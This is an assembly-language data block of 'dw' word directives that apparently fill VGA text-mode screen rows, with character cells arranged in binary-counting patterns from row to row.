dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
